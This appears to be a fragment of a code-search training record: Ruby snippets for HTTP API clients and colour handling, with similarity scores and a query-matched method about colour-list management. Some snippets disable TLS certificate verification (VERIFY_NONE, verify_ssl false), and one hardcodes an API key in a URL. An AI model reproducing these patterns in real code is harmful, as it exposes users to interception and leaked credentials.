new_representative[:facebook_id] = representative.facebook_id\n new_representative[:twitter_id] = representative.twitter_id\n # end data representative\n\n new_data_congress = Hash.new\n new_data_congress[:senior_senator] = Hashie::Mash.new(new_senior_senator)\n new_data_congress[:junior_senator] = Hashie::Mash.new(new_junior_senator)\n new_data_congress[:representative] = Hashie::Mash.new(new_representative)\n\n return new_data_congress\n end", "def get_customers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CustomersApi.get_customers ...'\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 250\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling CustomersApi.get_customers, must be smaller than or equal to 250.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling CustomersApi.get_customers, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/customers'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'next'] = opts[:'_next'] if !opts[:'_next'].nil?\n query_params[:'previous'] = opts[:'previous'] if !opts[:'previous'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CustomersResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"CustomersApi.get_customers\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomersApi#get_customers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_client_campaign_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MarketingApi.get_client_campaign_all_using_get ...'\n end\n # resource path\n local_var_path = '/client_campaign'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageClientCampaignMapping')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MarketingApi#get_client_campaign_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def search_from_four_square_api(search_params,venue_params)\n require \"net/http\"\n conditions=\"\"\n conditions+=\"search?query=\"+search_params[:query]+\"&near=\"+search_params[:near] if search_params[:query]!=nil and search_params[:near]!=nil and venue_params==\"near\"\n conditions+=\"search?ll=\"+search_params[:latitude]+\",\"+search_params[:longitude] if search_params[:latitude]!=nil and search_params[:longitude] and venue_params==\"ll\"\n conditions+=search_params[:venue_id]+\"?\" if search_params[:venue_id]!=nil and venue_params==\"access_id\"\n url=FOURSQUARE_API+conditions+'&client_id='+FOURSQUARE_CLIENT_ID+'&client_secret='+FOURSQUARE_SECRET+'&v='+Time.now.strftime(\"%Y%m%d\")\n uri = URI.parse(URI.escape(url))\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request) \n parsed_json = ActiveSupport::JSON.decode(response.body)\n \n return parsed_json\n end", "def cURL (endpoint)\n\t\t# use open-uri to perform a GET request and then use JSON to parse it\n\t\tJSON.parse(open(endpoint).read)\n\tend", "def request(url)\n\n # For catch 4xx and 5xx HTTP errors\n has_errors = false\n\n # Send request to vendor API\n http = Curl.get(url) do |http|\n\n # On 4xx errors\n http.on_missing do\n has_errors = true\n end\n\n # On 5xx errors\n http.on_failure do\n has_errors = true\n end\n\n end\n\n raise \"Error from TRADO API - #{http.body_str}\" if has_errors\n\n JSON.parse(http.body_str)['data']\n\n end", "def get_stations\n CF::Station.get(\"/lines/#{ACCOUNT_NAME}/#{self.title.downcase}/stations.json\")\n end", "def fetch\n http_request(url) do |body|\n incidents = JSON.parse body\n\n counts = {}\n total = incidents[\"resourceSets\"].first[\"estimatedTotal\"]\n resources = incidents[\"resourceSets\"].first[\"resources\"]\n resources.each do |resource|\n severity = resource[\"severity\"]\n counts[severity] = (counts.fetch severity, 0) + 1\n end\n\n @data = {}\n counts.each do |severity, count|\n @data[severity_label(severity)] = count\n end\n end\n end", "def index\n @cryptocurrencies = Cryptocurrency.all\n require 'net/http'\n require 'json'\n @url = 'https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest?start=1&limit=100&CMC_PRO_API_KEY=8e364003-38f2-410d-81af-9166deca3a6f'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @array1 = JSON.parse(@response).to_a\n @array2 = @array1[1].to_a\n @lookup_crypto = @array2[1].to_a\n @profit_loss = 0\n end", "def query_moon_api\n result = connection.query\n end", "def view\n @response = HTTParty.get(\"https://travelbriefing.org/#{params[:name][:country]}?format=json\",\n :headers => { 'Content-Type' => 'application/json', 'Accept' => 'application/json'})\n\n @response = JSON.parse(@response.parsed_response)\n\n @dest = Destination.where(country: params[:name][:country], user_id: params[:name][:userid])[0]\n\n @message = Message.all\n @destination = Destination.all\n\n @currency = @response[\"currency\"][\"rate\"].to_f/@response[\"currency\"][\"compare\"][5][\"rate\"].to_f\n\n gon.currency = @currency\n end", "def all\n response = RestClient::Request.execute({\n url: \"https://#{connection.path}/apiv1/Get\",\n method: :get,\n verify_ssl: false,\n headers: { params: { typeName: geotab_reference_name, credentials: connection.credentials, search: formatted_conditions }}\n })\n\n body = MultiJson.load(response.body).to_ostruct_recursive\n\n if MultiJson.load(response.body).has_key?(\"error\")\n if body.error.errors.first.message.start_with?(\"Incorrect MyGeotab login credentials\")\n raise IncorrectCredentialsError, body.error.errors.first.message\n else\n raise ApiError, body.error.errors.first.message\n end\n else\n attributes = body.result\n results = []\n\n if attributes && attributes.any?\n attributes.each do |result|\n results.push(new(result, connection))\n end\n end\n\n reset\n\n results\n end\n end", "def call_with_config_params\n disciplina = Iesde::Model::Disciplina.buscar(\n config: {\n user: ENV['IESDE_USER'],\n password: ENV['IESDE_PWD'],\n ead_api_key: ENV['EAD_API_KEY']\n }).select {|d| d.disciplina_id.to_i == 123 }.first\n\n ap disciplina.aulas(12345)\nend", "def index\n @ge_asset_list = GeCityApi.get_asset_list\n @historical_data = GeCityApi.get_asset_historical_data\n @current_data = GeCityApi.get_asset_current_data(@historical_data.keys)\n @anomaly = GeCityApi.check_anomalies(@current_data, @historical_data)\n # @ge_city_apis = GeCityApi.all\n end", "def make_request_get_response_trend_availible\n @path_trend_availible = '/1.1/trends/available.json'\n @address_trend_availible = URI(\"#{@baseurl}#{@path_trend_availible}\")\n # Set up HTTP. Need ssL to make the connection\n @request_trend_availible = Net::HTTP::Get.new @address_trend_availible.request_uri\n @http = Net::HTTP.new @address_trend_availible.host, @address_trend_availible.port\n @http.use_ssl = true\n @http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n # Issue the request.\n @request_trend_availible.oauth! @http, @consumer_key_country, @access_token_country\n @http.start\n @response_trend_availible = @http.request @request_trend_availible\n @response_trend_availible\n end", "def request(url,token = nil)\n url = URI(\"#{url}&api_key=#{token}\") # se quita uri y parentesis\n #puts url_string\n \n \n https = Net::HTTP.new(url.host, url.port)\n https.use_ssl = true\n request = Net::HTTP::Get.new(url)\n response = https.request(request)\n data = JSON.parse(response.read_body)\n #puts data\nend", "def get_aditional_data\n require 'hpricot'\n require 'open-uri'\n doc = Hpricot(open(\"http://gc.kls2.com/airport/#{iata_code}\",\n \"User-Agent\" => \"Ruby\"))\n self.lat = doc.at(\"abbr.latitude\")['title'].to_f\n self.lng = doc.at(\"abbr.longitude\")['title'].to_f\n self.city = doc.at(\"span.locality\").inner_html\n self.country = doc.at(\"span.country-name\").inner_html\n self.name = doc.at(\"td.fn\").inner_html.gsub(/<[^>]+>/,'')\n end", "def makeApiRequest(page_number)\n\t \turi = URI(\"https://api.salesloft.com/v2/people.json?include_paging_counts=true&per_page=100&page=#{page_number}\")\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri)\n request[\"Authorization\"] = \"Bearer #{ENV['SALESLOFT_APPLICATION_SECRET']}\"\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = http.request(request)\n response_body = JSON.parse(response.body)\n return response_body\n\t end", "def darksky_response\n connect_darksky.get(\"/forecast/#{ENV[\"DARK_SKY_API_KEY\"]}/#{@lat},#{@lng}\")\n end", "def booking_cuisine_types_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BookingTablesApi.booking_cuisine_types_get ...'\n end\n # resource path\n local_var_path = '/booking-cuisine-types'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'BookingtablesResponse' \n\n # auth_names\n auth_names = opts[:auth_names] || ['auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BookingTablesApi#booking_cuisine_types_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def simple_request(method, url)\n uri = URI.parse(url)\n request = Net::HTTP::Get.new(uri)\n request.content_type = \"application/json\"\n request[\"Accept\"] = \"application/json\"\n request[\"App-Id\"] = ENV[\"salt_edge_app_id\"]\n request[\"Secret\"] = ENV[\"salt_edge_secret\"]\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n } \n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n #puts response.body\n return JSON.parse(response.body)\n end" ]
[ "0.63390404", "0.63387054", "0.60434455", "0.60184056", "0.577277", "0.5771873", "0.570652", "0.563756", "0.559842", "0.55941164", "0.5553796", "0.55086", "0.5446049", "0.5427039", "0.54269004", "0.5415405", "0.5399211", "0.53982365", "0.5388741", "0.53882474", "0.5386853", "0.5375696", "0.5343458", "0.5338664", "0.53343815", "0.53291297", "0.5294183", "0.52672845", "0.5261211", "0.52554786", "0.52481", "0.5241544", "0.52406585", "0.52313507", "0.5221069", "0.521849", "0.52182543", "0.52158606", "0.5215509", "0.52072805", "0.51607996", "0.51354593", "0.5124154", "0.512079", "0.5120771", "0.5117598", "0.5116747", "0.5110807", "0.51075053", "0.50969815", "0.5087851", "0.50872916", "0.5086988", "0.5078672", "0.5076561", "0.5075842", "0.50720274", "0.5070248", "0.5070059", "0.5057313", "0.50518936", "0.5049746", "0.5048399", "0.50480586", "0.5046452", "0.50438535", "0.50417423", "0.50357425", "0.5033246", "0.5031734", "0.50280386", "0.50251085", "0.5023148", "0.5020073", "0.50193477", "0.50171286", "0.5015353", "0.50120014", "0.5010273", "0.50096697", "0.5008722", "0.50065356", "0.50046813", "0.50002235", "0.50000864", "0.49933368", "0.4993149", "0.49916884", "0.49867213", "0.4985097", "0.49824408", "0.49779603", "0.4975977", "0.49743766", "0.4966883", "0.49656782", "0.49588233", "0.49573392", "0.49517348", "0.4951195" ]
0.55998975
8
Manage for any color list
def act_anylist(colorlist, options, server_id) raise MessagingException, t.blacklist.not.loaded unless master.modules.key?(options.who) mod = mod(options.who) toAdd = [options.chan] toAdd = mod("admin").chans if options.all? if options.type == "add" modify_status colorlist, t.blacklist.act.added, toAdd, options, mod, true, server_id end if options.type == "del" modify_status colorlist, t.blacklist.act.deleted, toAdd, options, mod, false, server_id end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def scan_for_colors; end", "def colors; end", "def color(*values); end", "def color(*values); end", "def add_color\n if !color\n self.color = %w(\n #000000 #0000FF #00FF00 #FF0000 #FFFF00 #9900CC\n #CC0066 #00FFFF #FF00FF #C0C0C0 #00008B #FFD700\n #FFA500 #FF1493 #FF00FF #F0FFFF #EE82EE #D2691E\n #C0C0C0 #A52A2A #9ACD32 #9400D3 #8B008B #8B0000\n #87CEEB #808080 #800080 #008B8B #006400\n ).sample\n end\n end", "def color(color); end", "def set_color\n self.color = [\"#7AD8E5\", \"#63b4d1\", \"6da7d3\", \"#7699d4\", \"#816ec4\", \"#8658bc\", \"#602278\", \"#34023C\"].sample\n end", "def colorize!; @colors = true; end", "def colors() = @colors ||= %i[blue green purple magenta cyan yellow red]", "def get_color_list_name\n\t\t@availible_colors.keys[0]\n\tend", "def setcolorrep(*)\n super\n end", "def color_methods; end", "def target_color_list\n color_list = ''\n target_file = TARGET_FILE_NAME + NEW_TARGET_NAME_SUFFIX + JPG_FILE_SUFFIX\n img = Magick::ImageList.new(target_file)\n pixels = img.get_pixels(0, 0, img.columns, img.rows)\n pixels.each do |pixel|\n color_list = target_color_variation(pixel, color_list)\n end\n img.destroy!\n color_list.chop!\n color_list\n end", "def colorized?; end", "def possible_colors\n %w(R G B Y)\n end", "def colors\n return\n end", "def initialize(*c)\n if !c[0] then @color = pick_color else @color = c[0] end\n end", "def color; end", "def color; end", "def color; end", "def colour_changer(key)\n @@colours = [key]\n end", "def recycle_colors(color_index)\n #\"or\" used for control flow\n colors[i+1] or 0\n end", "def recycle_colors(color_index)\n #\"or\" used for control flow\n colors[i+1] or 0\n end", "def rgb_color; end", "def add_random_color\n seq << COLORS.sample\n end", "def colors_from_params(match, params); end", "def pixel_color_list(image_name, color_list)\n array = Array.new(color_list)\n img = Magick::ImageList.new(image_name)\n pixels = img.get_pixels(0, 0, img.columns, img.rows)\n pixel_l = pixels[0].to_hsla[2].to_i\n array[pattern(pixel_l)] += File.basename(image_name) + EXPORT_LIST_SEPARATOR\n img.destroy!\n array\n end", "def process_options\n puts ScrumyChangeColor::ALLOWED_COLORS.join(', ') if @options.list_colors\n end", "def generate_color\n colors= [\n \"#FF3AAE\",\n \"#B9D61A\",\n \"#952DE1\",\n \"#A4D789\",\n \"#51A3A3\",\n \"#D96C06\",\n \"#039be5\"\n ];\n\n @p_colors=[]\n cnt=Flavor.all.length\n colors.cycle(cnt) do |color|\n @p_colors.push(color)\n @cnt=1\n end\n end", "def rgb_color\n [self.color_red, self.color_green, self.color_blue]\n end", "def context_list_colors(pattern = nil)\n if pattern == nil\n return $gimp_iface.ggimp_rgb_list()[1]\n elsif pattern.is_a? String\n names = $gimp_iface.ggimp_rgb_list()[1]\n names.select!{|element| element.include?(pattern)}\n return names\n else\n raise ArgumentError, \"context_list_color_names only accepts a string as an argument\"\n end\nend", "def color_pair(*val)\n if val.empty?\n #return @color_pair \n return @color_pair || get_color($datacolor, color(), bgcolor())\n end\n\n oldvalue = @color_pair\n case val.size\n when 1\n raise ArgumentError, \"Expecting fixnum for color_pair.\" unless val[0].is_a? Integer\n @color_pair = val[0]\n @color, @bgcolor = ColorMap.get_colors_for_pair @color_pair\n when 2\n @color = val.first if val.first\n @bgcolor = val.last if val.last\n @color_pair = get_color $datacolor, @color, @bgcolor\n end\n if oldvalue != @color_pair\n fire_property_change(:color_pair, oldvalue, @color_pair)\n @property_changed = true\n repaint_all true\n end\n self\n end", "def getColor(colorname)\n# @color = { \"white\" => assignColor256(\"white\",255,255,255),\n# \"black\" => assignColor256(\"black\",0,0,0),\n# \"orange\" => assignColor256(\"orange\",255,0,0),\n# \"red\" => assignColor256(\"red\",0,255,0),\n# \"blue\" => assignColor256(\"blue\",0,0,255),\n# \"grey\" => assignColor256(\"grey\",120,120,120),\n# } ;\n col = @color[colorname] ;\n if(col.nil?) then\n f = File::new(RGBFILE) ;\n rval = -1 ; gval = -1 ; bval = -1 ;\n while(entry = f.gets)\n\tentry.strip! ;\n\trstr,gstr,bstr,name = entry.split ;\n\tif(name == colorname) then\n\t rval = rstr.to_i * 256 ;\n\t gval = gstr.to_i * 256 ;\n\t bval = bstr.to_i * 256 ;\n\t break ;\n\tend\n end\n if(rval < 0) then\n\tif(colorname =~ /^\\#([0-9a-fA-F][0-9a-fA-F])([0-9a-fA-F][0-9a-fA-F])([0-9a-fA-F][0-9a-fA-F])$/) then\n\t rstr = $1 ; gstr = $2 ; bstr = $3 ;\n\t rval = rstr.hex * 256 ; \n\t gval = gstr.hex * 256 ; \n\t bval = bstr.hex * 256 ; \n\telse\n\t $stderr << \"unknown color name:\" << colorname << \"\\n\" ;\n\tend\n end\n col = assignColor(colorname,rval,gval,bval) ;\n end\n return col ;\n end", "def initialize(color_or_red=nil,green=nil,blue=nil)\n @color=color_or_red\n @color=[color_or_red.to_f,green.to_f,blue.to_f] if color_or_red.is_a? Numeric\n @color=DEFAULT_RGB.merge(color_or_red) if color_or_red.is_a? Hash\n \n end", "def rgb(*args); end", "def rgb(*args); end", "def define_color( total_expense, list_type_expenses )\n list_type_expenses.each do |expense|\n expense_per_cent = expense[ :value ] * 100 / total_expense\n expense[ :colorValue ] = expense_per_cent.to_i\n end\n end", "def parse_colors\n working = dup\n color_array = []\n\n scan(/(?<!\\\\)(%((?:[fb]g?)?#[a-fA-F0-9]{6}|[a-z]+))/).each do |color|\n valid_color = color[1].validate_color\n next unless valid_color\n\n idx = working.match(/(?<!\\\\)%#{valid_color}/).begin(0)\n color = Color.attributes.include?(valid_color.to_sym) ? Color.send(valid_color) : Color.rgb(valid_color)\n color_array.push({ name: valid_color, color: color, index: idx })\n working.sub!(/(?<!\\\\)%#{valid_color}/, '')\n end\n\n { string: working, colors: color_array }\n end", "def create_colorset()\n colors = {\n '#' => BACKGROUND_COLOR,\n '.' => BACKGROUND_COLOR,\n }\n return colors\nend", "def generate_color_scheme\n if values_bits[Constants::V_Use_of_colors]<=2.5 #No colors \n if values_bits[Constants::V_Type_of_BG]<4.5 and @image_colors[0].get_lightness > Constants::Min_lightness#image as bg\n scheme = 'dark'\n elsif values_bits[Constants::V_Type_of_BG]<4.5 and @image_colors[0].get_lightness < Constants::Min_lightness\n scheme = 'light'\n elsif values_bits[Constants::V_Darkness]<=4.5#Light\n scheme = 'dark'\n elsif values_bits[Constants::V_Darkness]>=4.5#Dark\n scheme = 'light'\n end\n \n if scheme == 'dark'\n @colors[0]=Colour.new(255,255,255)\n @colors[1]=Colour.new\n @colors[2]=Colour.new\n @colors[3]=Colour.new\n @colors[4]=Colour.new(40,40,40)\n @colors[5]=Colour.new(55,55,55)\n @colors[6]=Colour.new(70,70,70)\n @colors[7]=Colour.new\n elsif scheme == 'light'\n @colors[0]=Colour.new\n @colors[1]=Colour.new(255,255,255)\n @colors[2]=Colour.new(255,255,255)\n @colors[3]=Colour.new(255,255,255)\n @colors[4]=Colour.new(240,240,240)\n @colors[5]=Colour.new(235,235,235)\n @colors[6]=Colour.new(230,230,230)\n @colors[7]=Colour.new(255,255,255)\n end\n \n else #Colors\n #Main color (colors[1] - colors[3])\n if values_bits[Constants::V_Main_color]<=2 #Complementary main pic\n @colors[1] = @image_colors[1].get_complementary\n elsif values_bits[Constants::V_Main_color]>2 and values_bits[Constants::V_Main_color]<=5 #Contrast main pic\n @colors[1] = @image_colors[1].get_contrasted\n elsif values_bits[Constants::V_Main_color]>5 and values_bits[Constants::V_Main_color]<=8 #main_pic\n @colors[1] = @image_colors[1]\n else #random\n @colors[1] = Colour.new.get_random_color()\n end\n @colors[2] = colors[1].get_lighter\n @colors[3] = colors[1].get_darker\n \n #Accent colors (colors[4] - colors[6])\n if values_bits[Constants::V_Accent_colors]<=2 #secondary\n accent_colors = @image_colors[2].get_analogous\n @colors[4]=@image_colors[2]\n 2.times do |n|\n @colors[n+5] = accent_colors[n]\n end\n elsif values_bits[Constants::V_Accent_colors]>2 and values_bits[Constants::V_Accent_colors]<=4.5 #triadic\n accent_colors = colors[1].get_triadic\n 3.times do |n|\n @colors[n+4] = accent_colors[n]\n end\n elsif values_bits[Constants::V_Accent_colors]>4.5 and values_bits[Constants::V_Accent_colors]<=8 #analogous\n accent_colors = colors[1].get_analogous\n 3.times do |n|\n @colors[n+4] = accent_colors[n]\n end\n else #complementary\n @colors[4] = colors[1].get_complementary\n accent_colors = colors[4].get_analogous\n 2.times do |n|\n @colors[n+5] = accent_colors[n]\n end\n end\n \n #Background color (colors[0])\n if values_bits[Constants::V_BG_color]<7 #Plain background\n if values_bits[Constants::V_Darkness]>4.5 #Dark design \n @colors[0]=colors[1].get_dark\n else #Light design\n @colors[0]=colors[1].get_pale\n end\n else\n @colors[0]=Colour.new\n end\n \n #Text color (colors[7])\n if values_bits[Constants::V_Type_of_BG]>=4.5 #Contrast with plain background\n if values_bits[Constants::V_Darkness]<4.5 #Light bg\n @colors[7]=Colour.new\n else #Dark bg\n @colors[7]=Colour.new(255,255,255)\n end\n else #Contrast with picture as background\n if @image_colors[0].get_lightness > Constants::Min_lightness\n @colors[7]=Colour.new\n else\n @colors[7]=Colour.new(255,255,255)\n end\n end\n end\n \n @background = @colors[0]\n end", "def hsla_color; end", "def color\n @color ||= COLORS[label.length%COLORS.length].to_sym\n end", "def set_colour(r,g,b)\n\t\t@colour_r = LoopedArray.new [*r].map {|i| i % 256}\n\t\t@colour_g = LoopedArray.new [*g].map {|i| i % 256}\n\t\t@colour_b = LoopedArray.new [*b].map {|i| i % 256}\n\tend", "def index\n @color_schemes = ColorScheme.all\n end", "def color_identity\n unless @color_identity\n @color_identity = []\n @color_identity << \"W\" if mana_cost =~ /W/i or text =~ /\\{W\\}/ or subtypes.include?(\"Plains\") or color_indicator =~ /\\bWhite\\b/\n @color_identity << \"U\" if mana_cost =~ /U/i or text =~ /\\{U\\}/ or subtypes.include?(\"Island\") or color_indicator =~ /\\bBlue\\b/\n @color_identity << \"B\" if mana_cost =~ /B/i or text =~ /\\{B\\}/ or subtypes.include?(\"Swamp\") or color_indicator =~ /\\bBlack\\b/\n @color_identity << \"R\" if mana_cost =~ /R/i or text =~ /\\{R\\}/ or subtypes.include?(\"Mountain\") or color_indicator =~ /\\bRed\\b/\n @color_identity << \"G\" if mana_cost =~ /G/i or text =~ /\\{G\\}/ or subtypes.include?(\"Forest\") or color_indicator =~ /\\bGreen\\b/\n end\n @color_identity\n end", "def validate_colors\n super\n data.each do |d|\n if d.is_a?(Hash) and c = d[:color]\n validate_color(c)\n end\n end\n end", "def set_color\n @color = nil \n require 'rest-client'\n # admin irizREhyoG6Ejwr4AcjsQME9\n response = RestClient::Request.execute(method: :get, url: 'localhost:3001/colores/'+params[:id],\n headers: {Authorization: 'user vURjXbANsTEvaSf5vQ5GVg8h'})\n if response.code == 200\n # @color = JSON.parse(response.body).collect { |i| [i[\"name\"], i[\"id\"]] }\n @color = Color.new(JSON.parse(response.body))\n end\n end", "def list_colors\n color_string = \"\\nThe available colors are \"\n COLORS.each_with_index do |color, index|\n if index%2 == 0\n color_string += \"\\n\"\n end\n color_string += color + \" \"\n end\n puts color_string\n end", "def obtain_main_image_colors\n pic = ImageList.new(@main_image.source)\n pic.resize!(0.20)\n #Reducing picture colors\n pic = pic.quantize(5, Magick::RGBColorspace, 0, 0, false) \n #By modulating them we get better colors\n pic = pic.modulate(1.2, 1.8, 1.0) #L S H\n #Background color will be the most used color in the picture\n color_pixels = pic.color_histogram\n \n max=0\n background_px = 0\n \n color_pixels.each do |k,v|\n if v >max\n max=v\n background_px = k\n end\n end \n \n @image_colors << Colour.new(background_px.red, background_px.green, background_px.blue) #image_colors[0] is the background\n \n color_pixels.each do |k,v|\n hsl = k.to_hsla\n if hsl[2]>=35 and hsl[2]<=75\n @image_colors << Colour.new(k.red, k.green, k.blue)\n end\n end\n \n puts '......'\n puts @image_colors[0].red\n puts @image_colors[0].green\n puts @image_colors[0].blue\n \n @image_colors[1] = @image_colors[1]==nil ? @image_colors[0] : @image_colors[1]\n @image_colors[2] = @image_colors[2]==nil ? @image_colors[0] : @image_colors[2]\n\n end", "def colorChange(couleur)\n @color=couleur\n apply\n end", "def set_custom_color idx, red, green, blue\n raise 'Invalid format' if [red, green, blue].find { |c| ! (0..255).include?(c) }\n\n @palette[idx] = [red, green, blue]\n end", "def set_color_parameters( params )\n if (params.instance_of?(Hash))\n @color = params[:color]\n @background = params[:background]\n @mode = params[:mode]\n @uncolorized = params[:uncolorized]\n self\n else\n nil\n end\n end", "def add_colors\n\tNcurses.start_color\n\tcolors = %w[RED BLUE GREEN MAGENTA CYAN YELLOW]\n\tcolors.each { |color|\n\t\teval \"Ncurses.init_color( Ncurses::COLOR_#{color}, #{rand(0..1000)}, #{rand(0..1000)}, #{rand(0..1000)} )\"\n\t}\n\t#Ncurses.init_pair( PAIR_NUMBER, BORDER_LINE_COLOR, BORDER_COLOR)\n\trandom_color = eval \"Ncurses::COLOR_#{colors.sample}\"\n\tNcurses.init_pair(2, random_color, Ncurses::COLOR_RED)\n\tNcurses.init_pair(3, random_color, Ncurses::COLOR_BLUE)\n\tNcurses.init_pair(4, random_color, Ncurses::COLOR_GREEN)\n\tNcurses.init_pair(5, random_color, Ncurses::COLOR_MAGENTA)\n\tNcurses.init_pair(6, random_color, Ncurses::COLOR_CYAN)\n\tNcurses.init_pair(7, random_color, Ncurses::COLOR_YELLOW)\nend", "def pixels_color_list\n color_list = ['', '', '', '', '', '', '', '']\n image_name_list = get_image_name_list PIXELS_PATH\n image_name_list.each do |image_name|\n color_list = pixel_color_list(image_name, color_list)\n end\n color_list.each(&:chop!)\n color_list\n # => like this: ['hogehoge.jpg,foobar.jpg', ... 'last.jpg,final.jpg']\n end", "def computer_color\n\t valid_colors = [\"r\", \"y\", \"b\", \"w\", \"c\", \"g\"] \n\t return [valid_colors[rand(0..5)],valid_colors[rand(0..5)], valid_colors[rand(0..5)], valid_colors[rand(0..5)]]\n\tend", "def lbColor _obj, _args\n \"_obj lbColor _args;\" \n end", "def add_colors\n $rainbow_colors.push(\"green\",\"blue\")\nend", "def set(*args)\n val = Color.parse(*args)\n unless val.nil?\n self.r = val.r\n self.g = val.g\n self.b = val.b\n self.a = val.a\n end\n self\n end", "def colorize(*args)\n shell.set_color(*args)\n end", "def start_hexes(color)\n squares = []\n @size.times do |index|\n if color == :red\n squares << [0, index] if self[[0, index]] == :red\n else\n squares << [index, 0] if self[[index, 0]] == :blue \n end \n end\n squares\n end", "def color_set(id)\n @display.color_set(id)\n end", "def color(*options)\n mix = []\n color_seen = false\n\n if options.empty?\n mix << random(false) # random foreground color\n else\n options.each{ |option|\n case option\n when Symbol\n if ANSI_EFFECTS.keys.include?(option)\n mix << effect(option)\n elsif ANSI_COLORS.keys.include?(option)\n mix << simple(option, color_seen)\n color_seen = true\n else\n raise ArgumentError, \"Unknown color or effect: #{ option }\"\n end\n\n when Array\n if option.size == 3 && option.all?{ |n| n.is_a? Numeric }\n mix << rgb(*(option + [color_seen])) # 1.8 workaround\n color_seen = true\n else\n raise ArgumentError, \"Array argument must contain 3 numerals\"\n end\n\n when ::String\n if option =~ /^#?(?:[0-9a-f]{3}){1,2}$/\n mix << hex(option, color_seen)\n color_seen = true\n else\n mix << name(option, color_seen)\n color_seen = true\n end\n\n when Numeric\n integer = option.to_i\n color_seen = true if (30..49).include?(integer)\n mix << integer\n\n when nil\n color_seen = true\n \n else\n raise ArgumentError, \"Invalid argument: #{ option.inspect }\"\n\n end\n }\n end\n\n wrap(*mix)\n end", "def color_components\n check_if_opacity_changed\n @color_components ||= if @color.is_a? Color::Set\n # Splat the colours from the set; see +def color=+ where colour set\n # size is enforced\n [\n *@color[0].to_a, *@color[1].to_a, *@color[2].to_a, *@color[3].to_a\n ]\n else\n # All vertex colours are the same\n c_a = @color.to_a\n [\n *c_a, *c_a, *c_a, *c_a\n ]\n end\n end", "def display_color_index\n require_color_echo_get\n\n CE.rainbow\n cnt = 134\n @padding = \" \" * 2\n\n header = \"OK, Let me check color index list... :)\"\n mes = CE.rainbow.get(@padding + \"-\" * cnt) + $/\n mes += @padding + \" \" * ((cnt - header.size)/2) + CE.rainbow.get(header) + $/\n mes += 